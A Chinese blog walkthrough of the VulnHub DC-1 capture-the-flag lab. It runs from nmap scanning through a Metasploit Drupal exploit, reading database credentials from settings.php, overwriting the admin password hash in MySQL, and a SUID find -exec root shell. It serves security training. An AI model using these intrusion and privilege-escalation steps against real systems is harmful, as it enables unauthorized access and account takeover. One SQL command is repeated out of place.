综合靶场DC

综合靶场 DC-1通关基本教程

一;环境搭建

  1. 下载靶场环境,靶场下载地址为:https://download.vulnhub.com/dc/DC-1.zip
  2. 打开虚拟机找到你下载的那个文件并创建DC-1虚拟机

二;渗透靶场

  1. 在kali的root页面输入:ifconfig查看IP地址.
  1. 然后就可以搭建靶场了,靶场的IP为:XXX.XXX.XXX/24

我们寻找这个靶机的真实IP为:nmap -sP 1 XXX.XXX.XXX.XXX /24

-sP不扫描端口,只扫描存活主机,本质上是Ping扫描,能Ping通有回包,就判定主机在线

  1. 接下来就是信息收集:探索端口以及服务

nmap -A -p- -v 192.168.XXX.XXX

-A 综合性扫描

-v 冗余模式,推荐使用这个选项,它就会给出扫描过程中的详细的信息

会发现你的端口开通各种服务,然后去访问web站点你会发现它是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS

searchsploit  drupal 7


我们可以利用MSF渗透

典型的drupal,启动Metersploit  MSF存在drupal模块,尝试使用msf渗透

1.MSF简单命令介绍

msfconsole 进入MSF控制台

search 搜索相应模块

use            对应模块

show options   查看信息

set RHOST   远程主机ip

run            攻击

3.进入MSF控制台搜索drupal模块

进入MSF控制台msfdb run

搜索drupal模块search drupal

  1. 模块测试

我们用2018的来测试。

  1. 之后我们就可以设置靶机IP来运行msf

然后来执行whoami

我们就可以发现是www-data权限

然后进入home目录,发现flag4.txt文件,提示需要让我们提升权限

我们可以使用python反弹一个交互式shell

输入:python -c "import pty;pty.spawn('/bin/bash')"

显示了当前路径

我们会发现flag1文件

    查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件

我们发现flag2

    Drupal的默认配置文件为

/var/www/sites/default/settings.php

  查看文件内容

cat /var/www/sites/default/settings.php

    发现了flag2和数据库的账号密码

flag2提示,提升权限为root来查看敏感文件

   

 我们先进入数据库查看

'username' => 'dbuser',

'password' => 'R0ck3t',

mysql -u dbuser -p

    查看数据库,切换到drupaldb数据库

 我们查看查找默认的Drupal user 表

select * from users;

    就会发现admin信息

解决的方法:可以置换drupal密码

进入www目录

quit;

站点路径下执行

php scripts/password-hash.sh 新密码

然后我们在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库

mysql -u dbuser -pR0ck3t

use drupaldb

把pass字段给替换

update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin";

登录站点

    访问站点然后进行登录,密码是之前我们自己替换的,账号是admin

admin

123

成功登录

发现flag3

    登陆战点之后,找一找,发现flag3,

http://192.168.66.140/node#overlay=admin/content

    点击flag3进入,发现提示信息

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

他的大概意思是提权并提示 -exec,想到suid提权 find 命令

​ SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

​ 在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

​ 利用特性,我们可通过SUID进行提权

 使用命令查看 suid 权限的可执行二进制程序

find / -perm -4000 2>/dev/null

发现find命令

将pass字段进行替换

update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin";

    使用命令测试,发现为root权限

touch 123

ls

find / -name 123 -exec "whoami" \;

我们发现最后的flag文件

    我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。

find ./ -name 666 -exec "/bin/sh" \;   

whoami

ls

cd /root

ls

  然后查看cat thefinalflag.txt文件

cat thefinalflag.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值